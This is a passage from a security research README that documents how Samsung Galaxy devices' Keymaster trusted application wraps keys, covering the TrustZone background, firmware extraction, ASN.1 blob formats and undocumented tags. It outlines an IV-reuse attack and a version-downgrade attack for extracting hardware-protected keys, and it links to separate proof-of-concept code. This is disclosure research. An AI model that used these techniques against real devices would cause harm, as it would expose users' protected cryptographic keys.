paper. + + +## Table of Contents + +- [TL;DR](#tldr) +- [Background](#background) + - [Keymaster TA Motivation](#keymaster-ta-motivation) + - [ARM TrustZone Overview](#arm-trustzone-overview) + - [Trusted Applications](#trusted-applications) + - [TEE Client API](#tee-client-api) +- [Firmware Analysis](#firmware-analysis) + - [Summary](#summary) + - [First Steps](#first-steps) +- [Reverse Engineering the Keymaster TA](#reverse-engineering-the-keymaster-ta) + - [Keymaster HAL API Overview](#keymaster-hal-api-overview) + - [Keymaster HAL Internals](#keymaster-hal-internals) + - [Keymaster Helper Library](#keymaster-helper-library) + - [Vendor-specific ASN.1 structures](#vendor-specific-asn1-structures) + - [Keymaster TA Control Flow](#keymaster-ta-control-flow) + - [Keymaster TA and HAL in TEEGRIS vs QSEE vs Kinibi](#keymaster-ta-and-hal-in-teegris-vs-qsee-vs-kinibi) + - [Encryption/Decryption of key blobs](#encryptiondecryption-of-key-blobs) +- [Exploiting the Keymaster TA](#exploiting-the-keymaster-ta) + - [IV Reuse](#iv-reuse) + - [Downgrade Attack](#downgrade-attack) + - [Persistence of `v15` key blobs](#persistence-of-`v15`-key-blobs) + - [Bonus: Export of raw symmetric key material](#bonus-export-of-raw-symmetric-key-material) + +## TL;DR + +In this work, we expose the cryptographic design and implementation of Android's Hardware-Backed Keystore in Samsung's Galaxy S8, S9, S10, S20, and S21 flagship devices. +We reversed-engineered and provide a detailed description of the cryptographic design and code structure, and we unveil severe design flaws. + +We present an [IV reuse](/poc/iv_reuse/README.md) attack on AES-GCM +that allows an attacker to extract hardware-protected key material, and a [downgrade attack](/poc/downgrade/README.md) that makes even the latest Samsung devices vulnerable to the IV reuse attack. + +For the full details and proof-of-concept attacks, see the README of each attack. In the remainder of this document, we describe technical details that supplement our paper. + + +## Background + +For the full introduction and background please see the paper. + +### Keymaster TA Motivation + +Android's [Hardware-Backed Keystore](https://source.android.com/security/keystore) uses secure software that runs in the TEE to handle cryptographic operations. Per the documentation: + +>Keymaster TA (trusted application) is the software running in a secure context, most often in TrustZone on an ARM SoC, that provides all of the secure Keystore operations, has access to the raw key material, validates all of the access control conditions on keys, etc. + + +### ARM TrustZone Overview + +ARM provides a reference implementation of secure world software called [ARM Trusted Firmware](https://github.com/ARM-software/arm-trusted-firmware) (ATF), and the Secure World is usually implemented by a specific vendor (e.g., Qualcomm, Trustonic, Samsung) based on ATF. ATF is [responsible for](https://chromium.googlesource.com/external/github.com/ARM-software/arm-trusted-firmware/+/v0.4-rc1/docs/firmware-design.md) performing Secure Boot, loading the different bootloaders and launching the REE and TEE. It also contains a reference implementation for a Secure Monitor. + +To achieve the isolation of the TEE and the REE, TrustZone uses the NS (Non-Secure) bit which is set to 0 if the processor is in Secure state and set to 1 if the processor is in Non-Secure state. The secure state can be switched by executing the SMC opcode (in exception level higher than EL0, e.g., EL1). + +The Secure state applies to hardware peripherals and memory, by using the TZASC register (allows to restrict memory to Secure World only) and the TrustZone Protection Controller (TZPC). [Menarini](https://www.riscure.com/blog/samsung-investigation-part1) shows an example of how the Trusted User Interface (TUI) uses the TZPC to modify the display and touch controllers as secure and the TZASC configures secure memory for the display. Thus, a user can enter a pin for a payment which will be safe from any Normal World attacker (even if the attacker executes code in the Android OS kernel) and will not be leaked. + +The Normal World can only access Non-secure memory, but the Secure World can access Non-Secure memory. The ARM [documentation](https://developer.arm.com/documentation/100935/0100/The-TrustZone-hardware-architecture-) states that Secure and Non-secure cache entries can coexist, and that the Normal World can only get a cache hit on Non-secure cache lines. + +The ARMv8-A processor supports 4 [exception levels](https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels): + +- EL0 - usermode (application in Android, TA in TZOS) +- EL1 - kernelmode (Android kernel, TZOS kernel) +- EL2 - hypervisor (used by Samsung to implement [RKP](https://www.samsungknox.com/en/blog/real-time-kernel-protection-rkp), which protects the integrity of the Android kernel) +- EL3 - Secure Monitor + +The following figure[^1] shows the components in each exception level in the TrustZone architecture: + +![trustzone_hw.png](/images/trustzone_hw.png "trustzone_hw.png") + +When the processor is in Secure mode, we can denote S-ELx, e.g., S-EL0 is the secure EL0. Most of our research focuses on S-EL0 (where the Keymaster TA executes), S-EL1 (where the TZOS kernel handles ioctls that the Keymaster TA calls) and EL3 (where the Secure Monitor executes a function handler for a given SMC). + +The Secure Monitor provides the interface between the two worlds and performs switching when the SMC (Secure Monitor Call) opcode is executed. Per the ARM [SMC Calling Convention](https://developer.arm.com/documentation/den0028/latest): + +>The SMC instruction is used to generate a synchronous exception that is handled by Secure Monitor code running in EL3. The arguments are passed in registers and then used to select which Secure function to execute. These calls may then be passed on to a Trusted OS in S-EL1. + +Note that the Secure World also uses SMC for some operations, such as power management or privileged operations that can only be done in the Secure Monitor (EL3). + +### Trusted Applications + +A Trusted Application (TA) is a program that runs in the TEE and exposes security services to Android client applications. + +The application can open a session with the TA and invoke commands within the session. After receiving a command, a TA parses the commands input, performs required processing and sends a response back to the client. Control is transferred to the TA via the dedicated SMC (Secure Monitor Call) instruction, and the TA and Normal World application usually exchange arguments and output using a shared memory buffer called World Shared Memory. + +As performing SMCs requires EL1 privileges, a device driver in the Android kernel handles the communication with the TA and exposes an API for Normal World applications. + +### TEE Client API + +Client Applications in the Normal World can communicate with Trusted Applications (TAs) using World Shared Memory buffers and SMCs. + +In TEEGRIS, Samsung followed the GlobalPlatform TEE [specification](https://globalplatform.org/wp-content/uploads/2016/11/GPD_TEE_Internal_Core_API_Specification_v1.2_PublicRelease.pdf) that defines a set of C APIs for the development of TA running inside a TEE. + +In most cases, a Client Application calls a client API function such as `TEEC_OpenSession` in the Normal World (EL0), which triggers an SMC opcode in the Normal World kernel (EL1) and execution switches to the Secure Monitor, who will switch execution to the Secure World TZOS kernel (S-EL1) that will schedule the TA and call the appropriate TA API function such as `TA_CreateEntryPoint`, and will return the response to the client. The common API functions are: + +- `TA_CreateEntryPoint`: Constructor +- `TA_OpenSessionEntryPoint`: Called when a client opens a session with `TEEC_OpenSession` +- `TA_InvokeCommandEntryPoint`: Called when a client calls `TEEC_InvokeCommand`. +- `TA_CloseSessionEntryPoint`: Called when a client closes a session with `TEEC_CloseSession` +- `TA_DestroyEntryPoint`: Destructor + + +## Firmware Analysis + +### Summary +The firmware of the device contains a binary called `sboot.bin` that is Samsung's implementation of Secure Boot for Exynos models based on ATF. + +Based on our reverse engineering using [Ghidra](https://github.com/NationalSecurityAgency/ghidra) and on previous work by [Quarkslab](https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-i.html) on SBOOT in Galaxy S6 devices with Kinibi as the TZOS, as well as useful information by [Tarasikov](https://allsoftwaresucks.blogspot.com/2019/05/reverse-engineering-samsung-exynos-9820.html) about reverse engineering SBOOT in Galaxy S10 devices, we extracted BL2 (the second stage bootloader) and the TEEGRIS OS binary from SBOOT. Both SBOOT and TEEGRIS are 64 bit binaries in a proprietary format. + +Images of TAs were found in `vendor/tee` and `system/tee`, while `root_task` (a task in TEEGRIS that is similar to `init` in Linux and is responsible to spawn TAs) and important libraries were found in `startup.tzar` (and were extracted by the following [script](https://gist.github.com/astarasikov/f47cb7f46b5193872f376fa0ea842e4b)). We mostly reversed 32 bit TAs (mainly the Keymaster TA) and libraries which are ELF files with a special header and footer, therefore by stripping the headers we were able to reverse them easily - especially as most functions have debug strings (usually with the name of the function and other useful information). Important files include: + +- `00000000-0000-0000-0000-4b45594d5354`: the Keymaster TA (in `vendor/tee`) +- `libteesl.so`: TEE API for TAs +- `libscrypto.so`: Samsung [SCrypto](https://csrc.nist.gov/CSRC/media/projects/cryptographic-module-validation-program/documents/security-policies/140sp3027.pdf) Cryptographic Module, which seems to be a modification of [BoringSSL](https://boringssl.googlesource.com/boringssl/) +- `libtzsl.so`: Includes wrappers to TEEGRIS syscalls + +The main object of interest in our research was not TEEGRIS itself but the crypto driver (`dev://crypto`) that wraps and unwraps hardware-protected keys. + +### First steps + +To begin our exploration we've used the following steps: + +1. Download (e.g., from [SamMobile](https://www.sammobile.com)) the firmware of the specific model (e.g., Samsung Galaxy S10 G973F) +2. Extract `system.img`, `vendor.img` and `sboot.bin` (includes TEEGRIS) + - Use [`simg2img`](https://github.com/anestisb/android-simg2img) to convert the system/vendor images to ext4 images and extract using `testdisk` or `mount` + - Use `lz4` to extract archives +3. Download the [open source archive](https://opensource.samsung.com/uploadList?menuItem=mobile&classification1=mobile_phone) for the specific model and extract `startup.tzar` + - Use a [script by Tarasikov](https://gist.github.com/astarasikov/f47cb7f46b5193872f376fa0ea842e4b) to unpack files in `startup.tzar` +4. Read public documentation and security certifications +5. Reverse engineer using Ghidra + - Keymaster TA and libraries that it uses + - Keymaster HAL libraries + - `sboot.bin` for TEEGRIS + - The open-source kernel drivers can be used for reference + + +## Reverse Engineering the Keymaster TA + +### Keymaster HAL API Overview + +The Keymaster HAL API is a set of shared-objects that implement the required API for sending and receiving requests to the Keymaster TA using kernel drivers, as well as creating and using world-shared memory buffers. + +- Normal World usermode applications can request (using a binder API) cryptographic operations from system applications. +- Normal world usermode system applications, such as `keystored` and `vold`, can use the Keymaster HAL API. +- Normal World kernel drivers, such as `tzdaemon`, handle requests from Normal World and can perform a SMC to communicate with TEEGRIS and a particular TA. +- The Secure Monitor handles SMCs from Normal World and forwards the request to the Secure World OS (TEEGRIS). +- The Secure World kernel handles requests from the Secure Monitor and prepares the Keymaster TA. +- The Keymaster TA in the Secure World usermode handles input from Normal World and returns output to World Shared buffers. + +The following figure[^1] illustrates the flow: + +![teegris_keymaster_api.png](/images/teegris_keymaster_api.png "teegris_keymaster_api.png") + +### Keymaster HAL Internals + +The Keymaster HAL is made up of several components in the Android usermode: + +- `SKeymaster4Device`: Samsung's implementation of [`AndroidKeymaster4Device`](https://android.googlesource.com/platform/system/keymaster/+/refs/heads/master/ng/AndroidKeymaster4Device.cpp) (a C++ class that implements Keymaster functions by calling API from C libraries). Implemented in `libkeymaster4device.so`. +- Wrapper libraries that expose Keymaster API, such as `libkeymaster4.so` +- `android.hardware.keymaster@4.0-service`: exposes API to construct requests in the vendor-specific format for the Keymaster TA. + +Most of our focus was on `libkeymaster_helper.so` which the HAL uses. + +The Keymaster HAL is registered as a service by the Keymaster [HIDL](https://source.android.com/devices/architecture/hidl): + +```c +IKeymasterDevice* keymaster = +skeymaster::CreateSKeymasterDevice( +SecurityLevel::TRUSTED_ENVIRONMENT); +// ... +status_t status = keymaster->registerAsService(); +// ... +LOG(INFO) << "Keymaster HAL service is Ready."; +``` + +The `CreateKeymasterDevice` function creates an object of `SKeymaster4Device` and calls the `waitKeymaster_` method which opens a session to the Keymaster TA and runs the `configure` command. Later, Android services such as `keystored` will call specific Keymaster functions (e.g., `generateKey`) that the device object implements - most will use library functions to construct the appropriate requests in the vendor-specific format and use the GlobalPlatform Client API that `libteecl.so` implements to send it to the Keymaster TA. + +### Keymaster Helper Library + +The Keymaster HAL uses `libkeymaster_helper.so` to communicate with the Keymaster TA using a TZOS-specific API. By calling it directly we can provide arbitrary parameters to the Keymaster TA and expand the attack surface. By patching it or recreating it we can bypass all usermode input validation (e.g., hash check of key blobs). + +The `libkeymaster_helper.so` exports the following functions: + +```c +KM_Result nwd_open_connection(void); +KM_Result nwd_close_connection(void); + +KM_Result nwd_configure(keymaster_key_param_set_t *param_set); + +KM_Result nwd_generate_key( + keymaster_key_param_set_t *param_set, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + +KM_Result nwd_get_key_characteristics( + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + keymaster_key_characteristics_t * characteristics); + +KM_Result nwd_import_key( + keymaster_key_param_set_t *param_set, + long key_format, + vector_t *key_data, + vector_t *ekey, + keymaster_key_characteristics_t *characteristics); + +KM_Result nwd_export_key( + long key_format, + vector_t *ekey, + vector_t *application_id, + vector_t *application_data, + vector_t *exported); + +KM_Result nwd_upgrade_key( + vector_t *ekey, + keymaster_key_param_set_t *param_set, + vector_t *new_ekey); + +KM_Result nwd_begin( + keymaster_key_param_set_t *param_set, + long purpose, + vector_t *ekey, + int64_t *operation_handle, + keymaster_key_param_set_t *out_params); + +KM_Result nwd_finish( + keymaster_key_param_set_t *param_set, + vector_t *data, + vector_t *signature, + int64_t *operation_handle, + vector_t *output, + keymaster_key_param_set_t *output_params); +``` + +Internaly, the following functions are used: + +- `nwd_tz_open`: Read the TA file and initialize a Keymaster TA context using a TZOS-specific API (e.g., in TEEGRIS it calls `TEEC_InitializeContext`, `TEECS_OpenSession`, and `TEEC_RegisterSharedMemory`). +- `nwd_km_KM_INDATA_pack`: Prepares the vendor-specific format `km_indata_t` ASN.1, writes it to World Shared memory buffers, and calls `nwd_tz_run_cmd`. +- `nwd_tz_run_cmd`: Invokes a command in the Keymaster TA using a TZOS-specific API (e.g., in TEEGRIS it calls `TEEC_InvokeCommand` per the GlobalPlatform Client API, and in Kinibi it uses `mcNotify` and `mcWaitNotification`). +- `nwd_KM_OUTDATA_unpack`: Parse the vendor-specific format `km_outdata_t` ASN.1 from the World Shared memory buffers. + +For our research it's enough to call `nwd_import_key` directly (and pass custom parameters), but it can be useful to patch or re-implement the internal functions (e.g., pass the input checks in `nwd_km_KM_INDATA_pack`). + +### Vendor-specific ASN.1 structures + +The Keymaster TA and Keymaster HAL Normal World libraries communicate using the following formats: + +```c +// input from Keymaster HAL to Keymaster TA +typedef struct km_indata_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *km_ver; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_INTEGER *cmd; // offset: 0x08, flags: 0x00, tag: 0x00 + ASN1_INTEGER *pid; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_INTEGER *int0; // offset: 0x10, flags: 0x91, tag: 0x00 + ASN1_INTEGER *long0; // offset: 0x14, flags: 0x91, tag: 0x01 + ASN1_INTEGER *long1; // offset: 0x18, flags: 0x91, tag: 0x02 + ASN1_OCTET_STRING *bin0; // offset: 0x1c, flags: 0x91, tag: 0x03 + ASN1_OCTET_STRING *bin1; // offset: 0x20, flags: 0x91, tag: 0x04 + ASN1_OCTET_STRING *bin2; // offset: 0x24, flags: 0x91, tag: 0x05 + ASN1_OCTET_STRING *key; // offset: 0x28, flags: 0x91, tag: 0x06 + km_param_t *par; // offset: 0x2c, flags: 0x93, tag: 0x08 + int flags; +} km_indata_t; + +// Output from Keymaster TA to Keymaster HAL +typedef struct km_outdata_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *cmd; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_INTEGER *pid; // offset: 0x08, flags: 0x00, tag: 0x00 + ASN1_INTEGER *err; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_INTEGER *int0; // offset: 0x10, flags: 0x91, tag: 0x00 + ASN1_INTEGER *long0; // offset: 0x14, flags: 0x91, tag: 0x01 + ASN1_OCTET_STRING *bin0; // offset: 0x18, flags: 0x91, tag: 0x02 + ASN1_OCTET_STRING *bin1; // offset: 0x1c, flags: 0x91, tag: 0x03 + ASN1_OCTET_STRING *bin2; // offset: 0x20, flags: 0x91, tag: 0x04 + ASN1_OCTET_STRING *log; // offset: 0x24, flags: 0x91, tag: 0x05 + int flags; +} km_outdata_t; +``` + +#### Key blob structure + + +The Keymaster TA uses ASN.1 to serialize keys as follows: + +- The key material is serialized into an ASN.1 structure called `km_key_blob_t` that contains a version number, key material and key parameters (`km_param_t`). +- The ASN.1 structure is then encrypted using AES-256-GCM with an Hardware Derived Key-encryption-key (HDK). This encryption is called "wrapping" and is the topic of much of our work. +- The "wrapped" key blob is serialized again into another ASN.1 structure called `km_ekey_blob_t` that contains information that is required for decryption, such as the IV and AAD that was used to encrypt. + +The following ASN.1 structures are used: +```c +// key parameters +typedef struct km_param_t { + ASN1_INTEGER *tag; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *i; // offset: 0x04, flags: 0x91, tag: 0x00 + ASN1_OCTET_STRING *b; // offset: 0x08, flags: 0x91, tag: 0x01 + int flags; // offset: 0x10 +} km_param_t; + +// key material and key parameters +typedef struct km_key_blob_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *key; // offset: 0x04, flags: 0x00, tag: 0x00 + km_param_t *par; // offset: 0x08, flags: 0x93, tag: 0x00 +} km_key_blob_t; + +// encrypted key blob and encryption parameters +typedef struct km_ekey_blob_t { + km_key_blob_t *key_blob; + ASN1_INTEGER *enc_ver; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *ekey; // offset: 0x08, flags: 0x00, tag: 0x00 + km_param_t *enc_par; // offset: 0x0c, flags: 0x02, tag: 0x00 +} km_ekey_blob_t; +``` + +See [`skeymaster_asn1.h`](jni/core/skeymaster_asn1.h) for more details. + +##### Example of ekey blob + +``` + SEQUENCE { + INTEGER 0x0F (15 decimal) + OCTETSTRING FBDA5965263CB66E9B378CD32A3E498BB26AD9A6F70105A16C7EE3AE09ACCDDC2CB9D4C70A35EEE3225872DE0BA4165A644B45279A6F8BD97E505002049951AA9A0E4A29A215452295AE5E1CD5330A9A8E2837019DB09EBABEDA12AF92F648185CB8F1C9AD76AF609471815DA1FA280845ECB6CD10CFB18AABC58087045B4B7CE5D863099799BCA26EA27D54C4A48E675977F7A3DC9DC94D41D17EAFDC17B7800821444FB17549741737DF7C09D5473581736FA4DD45600DFBFF9B94242C00A738788E5EDDFD62F7909DD1B5DFE50755BDDDFA993FE5DE2728C4AF8A3506B592DE19FF4CA8F583B8C941EDE6DE2537C604401E497411055BF3AAB4B01EBF941FFC1DE5B5C4DCD23B75BBC62F5214B783B0FCE8EABD4217773ED81589C251BDB8670E5F658017472F4C5B1774C559149C9D760AA5A80D2954C29BA4A853FB02A5DFADA107A1884352898AD854D6A29EFE6EC4B640B5740DDDF4C79620528C91BBDFF63469EFC436062EE0F41B00C8AE2DDD576CF50666 + SET { + SEQUENCE { + INTEGER 0x90001388 + [1] { + OCTETSTRING 784D473DD1C619981FFFDCF8 + } + } + SEQUENCE { + INTEGER 0x90001389 + [1] { + OCTETSTRING 0619443C086011B2263D3D35FA823FD8 + } + } + SEQUENCE { + INTEGER 0x90001392 + [1] { + OCTETSTRING 476DA2F2613A18C2F034EE4672AA2D58 + } + } + } + } +``` + +##### Example of key blob + +``` + SEQUENCE { + INTEGER 0x02 (2 decimal) + OCTETSTRING 6CB9E19A1A1DD01113FDD2160E2485509DACC4A799A61C7EE70323A3E35F29C6 + [0] { + SET { + SEQUENCE { + INTEGER 0x10000002 (268435458 decimal) + [0] { + INTEGER 0x20 (32 decimal) + } + } + SEQUENCE { + INTEGER 0x20000004 (536870916 decimal) + [0] { + INTEGER 0x20 (32 decimal) + } + } + SEQUENCE { + INTEGER 0x30001390 (805311376 decimal) + [0] { + INTEGER 0x0F (15 decimal) + } + } + SEQUENCE { + INTEGER 0x700001F7 (1879048695 decimal) + [0] { + INTEGER 0x01 (1 decimal) + } + } + SEQUENCE { + INTEGER 0x7000025A (1879048794 decimal) + [0] { + INTEGER 0x01 (1 decimal) + } + } + SEQUENCE { + INTEGER 0x30000003 (805306371 decimal) + [0] { + INTEGER 0x0100 (256 decimal) + } + } + SEQUENCE { + INTEGER 0x30000008 (805306376 decimal) + [0] { + INTEGER 0x0080 (128 decimal) + } + } + SEQUENCE { + INTEGER 0x00900002BC (2415919804 decimal) + [1] { + OCTETSTRING 61 + } + } + SEQUENCE { + INTEGER 0x0090000259 (2415919705 decimal) + [1] { + OCTETSTRING 6D65 + } + } + SEQUENCE { + INTEGER 0x0090001388 (2415924104 decimal) + [1] { + OCTETSTRING 784D473DD1C619981FFFDCF8 + } + } + } + } + } +``` + + +### Keymaster TA Control Flow + +Upon receiving control from an API call (from our client or from the Keymaster HAL), the Keymaster TA has the following flow in `TA_InvokeCommandEntryPoint`: + +- Validates the parameter types for the input and output buffers and makes sure that the memory references that are sent from the Normal World belong to the REE. +- Parses the input buffer as an ASN.1 structure `indata` and validates it. +- Calls the appropriate command handler based on `indata->cmd`. +- Fills the output buffer with ASN.1 structure `outdata`. + +There are more than 21 command handlers in the Keymaster TA, including: + +- [swd_add_rng_entropy](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#383) +- [swd_export_key](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#644) +- [swd_import_key](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#507) +- [swd_get_key_characteristics](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#621) +- [swd_begin](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#1077) +- [swd_update](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#1194) +- [swd_finish](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#1305) +- [swd_abort](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#1318) +- [swd_generate_key](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#472) +- swd_encrypt_key +- [swd_key_attest](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#799) +- swd_configure +- [swd_key_upgrade](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#836) +- swd_generate_sak +- swd_install_gak +- [swd_import_wrapped_key](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#589) +- [swd_compute_shared_hmac](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#330) +- [swd_get_hmac_sharing_parameter](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#234) +- [swd_verify_authorization](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#363) +- swd_generate_csr +- swd_install_sgak + +Some of the entry points are not documented in the [Keymaster API](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal), for instance `swd_encrypt_key`. + +### Keymaster TA and HAL in TEEGRIS vs QSEE vs Kinibi + +We saw that the Keymaster TA is similar across different models (both Exynos/Snapdragon variants) of S9, S10, S20, and S21. The only difference was in TZOS-specific (Kinibi/TEEGRIS/QSEE) functions that should be logically equivalent (e.g., syscalls and calls to cryptographic engine). + +The main functionality is the same, including the vulnerable flows that we describe. +The S9 models have a minor variation that makes it them more vulnerable, as we discuss in the paper. + +The following table describes the locations of the Keymaster TA and Keymaster HAL in the different TZOS: + +| TZOS | Keymaster TA | Keymaster HAL | +|-----------|-------------------------------------------------------------------|-----------------------------------------------| +| TEEGRIS | `/vendor/tee/00000000-0000-0000-0000-4b45594d5354` | `/vendor/lib64/libkeymaster_helper_vendor.so` | +| QSEE | `/vendor/firmware_mnt/image/skeymast` | `/vendor/lib64/libkeymaster_helper.so` | +| Kinibi | `/vendor/app/mcRegistry/ffffffff00000000000000000000003e.tlbin` | `/vendor/lib64/libkeymaster_helper_vendor.so` | + + +### Encryption/Decryption of key blobs + +The Keymaster TA encrypts/decrypts key blobs using a function called `tz_wrap`/`tz_unwrap`, which calls a TZOS-specific function to use the cryptographic engine (e.g., in TEEGRIS it calls `TEES_WrappedWithREK`/`TEES_DeriveKeyKDF` from `libteesl.so`). + +#### Examples of flows that encrypt/decrypt key blobs + +The following figure shows some the flow that call `tz_unwrap`: + +![tz_unwrap_graph.png](/images/tz_unwrap_graph.png "tz_unwrap_graph.png") + + +The following figure shows some the flow that call `tz_wrap`: + +![tz_wrap_graph.png](/images/tz_wrap_graph.png "tz_wrap_graph.png") + + +#### Key parameters of blob-creating commands + +Blob-creating commands (such as `swd_generate_key` and `swd_import_key`) accept key parameters that are delivered in the `indata` structure. The parameters control how the key is generated and are also placed inside the blob. They are subsequently used during the cryptographic operations that take the blob as input. Key parameters include: + +- Cipher information including: + - Algorithm (RSA/EC/AES/DES/HMAC) + - Key size (e.g., 768/1024/2048/3072/4096 for RSA or 128/192/256 for AES) + - Mode of operation (e.g., ECB/CBC/CTR/GCM) + - Padding (e.g., none/RSA-OAEP/RSA-PSS) + - Digest (e.g., none/md5/sha1/sha256) +- The parameters can also include optional access control restrictions on the created blob, including: + - Purpose (e.g., limit to encryption/signing only, or only encryption and decryption). + - Maximum number of uses per boot / minimum seconds between operations / expiration date. + - Require authentication (e.g., by password or biometric prompt) or confirmation by the user. + +Key parameters are also known as "tags". We mention the following tags (that are not documented in the official API): + +- `KM_TAG_EKEY_BLOB_IV` (value `0x90001388`, type bytes) +- `KM_TAG_HEK_RANDOMNESS` (value `0x90001392`, type bytes) +- `KM_TAG_EKEY_BLOB_ENC_VER` (value `0x30001390`, type integer) +- `KM_TAG_EXPORTABLE` (value `0x7000025a`, type boolean) + + +#### Hardware protection + +To ensure that key blobs are hardware-protected, the device uses the following keys: + +- Root Encryption Key (REK): a 256-bit AES key that is available only in secure hardware and is device-unique. +- Hardware Derived Key (HDK): a 256-bit AES key that is derived from the REK per blob encryption using the Key Derivation Function (KDF) which we discussed in the paper. + +#### How the Keymaster TA computes the encryption key + +The AES encryption key in the Keymaster TA is derived from a "salt" that the function `swd_get_salt` computes - which is the SHA-256 digest of a concatenation of values. +The salt depends on the `enc_ver` ("encryption version") tag in the encrypted key blob, as well as on the application id and application data tags, and is used to derive an encryption key (HDK) from the hardware REK (Root Encryption Key) in a unique way (different keys per application). + +We refer to values of `enc_ver` symbolically as either `v15`, `v20_s9` or `v20_s10` based on the constant strings that are used by the KDF and the device model we observed them on (technically `enc_ver` is a byte value). + +The following figure illustrates how the salt is computed: +![salt.png](/images/salt.png "salt.png") + +On the S8 the `v15` KDF is used. On the S9 by default new blobs are created using `v20-s9`, and on the S10 and later models, by default, the `v20-s10` KDF version is used. + +However on the S9, S10, and later models the KDF version can be overridden by the Normal World caller by specifying the tag `KM_TAG_EKEY_BLOB_ENC_VER` when generating a new key: this can be used to force the creation of a `v15` blob. The fact that the latent code to generate and use `v15` blobs exists on newer devices such as S10, S20, and S21 is at the heart of our downgrade attack. + +#### Encryption/Decryption fields + +At a high level, the AES operation uses the following fields: + +- The IV, that is either generated or is located in the parameters that are required for decryption (`KM_TAG_EKEY_BLOB_IV`) +- The AAD that is computed in `swd_get_aad` +- The data to encrypt/decrypt +- The authentication tag for decryption (`KM_TAG_EKEY_BLOB_AUTH_TAG`) +- A salt value that is computed in `swd_get_salt` and is used by KDF to derive the HDK from the REK. + +#### Key blob encryption + +The function `swd_encrypt_ekey` is responsible for encrypting key blobs. On Galaxy S9, it does the following: + +1. Extracts `enc_ver` from the encrypted key blob: uses `km_get_tag` with `KM_TAG_EKEY_BLOB_ENC_VER`, and if it fails uses `ekey_blob->enc_ver` (the ASN1 integer in the ekey). +2. Computes the salt using `swd_get_salt` (with `enc_ver` and key parameters) +3. `swd_get_iv` **tries to get 12 bytes of IV from the ekey blob** (`KM_TAG_EKEY_BLOB_IV`), otherwise generates a random IV (`RAND_bytes`). +4. Computes the AAD (Additional Authenticated Data) using `swd_get_aad` +5. Calls `tz_wrap` with the plaintext key material (serialized as ASN.1), the computed salt, IV and AAD. + +On Galaxy S10, S20, and S21, `swd_encrypt_ekey` does the following: + +1. Extracts `enc_ver` from the encrypted key blob: uses `km_get_tag` with `KM_TAG_EKEY_BLOB_ENC_VER`, and if it fails uses `ekey_blob->enc_ver` (the ASN1 integer in the ekey). +2. Generates 16 random bytes for `hek_randomness` +3. Computes the salt using `swd_get_salt` (with `enc_ver` and `hek_randomness`) +4. Computes the AAD (Additional Authenticated Data) using `swd_get_aad` +5. `_swd_get_iv` **tries to get 12 bytes of IV from the ekey blob** (`KM_TAG_EKEY_BLOB_IV`), otherwise generates a random IV (`RAND_bytes`). +6. Calls `tz_wrap` with the plaintext key material (serialized as ASN.1), the computed salt, IV and AAD. + +Internally, `tz_wrap` calls TZOS-specific functions (such as`TEES_WrappedWithREK` or `TEES_DeriveKeyKDF` on TEEGRIS) to derive a key from the hardware REK and use it for the AES-GCM operation. + +#### Crypto driver in TEEGRIS + +The decryption/encryption of ASN.1-serialized key material occurs in the `tz_unwrap`/`tz_wrap` functions (resp.), which call `TEES_WrappedWithREK`/`TEES_DeriveKeyKDF` from `libteesl.so`, which in turn does a ioctl to the crypto driver (`dev://crypto`). + +The following figure[^1] illustrates the two flows that use the salt, IV, AAD, and authentication tag to perform the cryptographic wrapping/unwrapping in TEEGRIS: +![teegris_key_wrap.png](/images/teegris_key_wrap.png "teegris_key_wrap.png") + +If the length of the ASN.1-serialized key is at most 4096 bytes, the Keymaster TA calls the `TEES_WrappedWithREK` library function to derive the HDK from the salt and then perform AES-GCM in the crypto engine. Conversely, if the length is greater than 4096 bytes, the Keymaster TA uses the `TEES_DeriveKeyKDF` library function to derive the HDK by calling the crypto driver, and then uses a software implementation of AES-GCM-256 (using the SCrypto library that is based on BoringSSL) to perform the encryption. + +In order to understand how the key blobs are encrypted, we reversed engineered TEEGRIS, found the `dev://crypto` driver and analysed its ioctl method. We focus on two specific ioctl commands: `CRYPT_FUNC_WRAPPED_WITH_REK` (that encrypts or decrypts key blobs) and `CRYPT_FUNC_KDF` (that derives a HDK from the REK), that are called from `TEES_WrappedWithREK`/`TEES_DeriveKeyKDF` in the Keymaster TA (resp.). + +`CRYPT_FUNC_WRAPPED_WITH_REK` checks that the calling task in TEEGRIS is the Keymaster TA by comparing the current UID to the UID of the Keymaster 